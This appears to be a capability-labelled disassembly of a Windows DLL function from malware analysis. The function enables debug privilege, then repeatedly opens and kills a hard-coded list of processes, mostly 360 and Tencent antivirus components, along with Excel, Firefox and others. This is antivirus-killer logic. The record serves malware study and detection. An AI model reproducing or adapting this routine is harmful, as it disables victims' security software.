Function at 0x180001160
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x38
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x20]
xor r8d, r8d
mov edx, 1
mov ecx, 0x14
call rax
lea rcx, str.NSIS.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800011d3
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800011f6
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800011f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.Calc.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001225
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001248
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001248
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.QMDL.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001277
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000129a
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000129a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.QQPCRTP.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800012c9
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800012ec
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800012ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.QQPCTray.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000131b
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000133e
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000133e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360rp.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000136d
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001390
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001390
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.EXCEL.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800013bf
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800013e2
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800013e2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360sdupd.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001411
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001434
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001434
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360huabao.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001463
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001486
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001486
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360rps.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800014b5
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800014d8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800014d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.DSMain.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001507
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000152a
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000152a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360sd.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001559
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000157c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000157c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.DumpUper.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800015ab
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800015ce
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800015ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.FireFox.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800015fd
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001620
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001620
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.Calc.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000164f
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001672
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001672
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.xdict.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800016a1
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800016c4
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800016c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360Safe.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800016f3
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001716
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001716
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360tray.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001745
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001768
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001768
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360Tray.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001797
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800017ba
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800017ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360huabao.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800017e9
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000180c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000180c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360speedld.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000183b
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000185e
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000185e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360LogCenter.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000188d
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800018b0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800018b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.LiveUpdate360.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800018df
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001902
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001902
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.ZhuDongFangYu.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000193f
lea rcx, str.openprocess_failed...
call fcn.180001010
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800011a4
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001962
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800011a4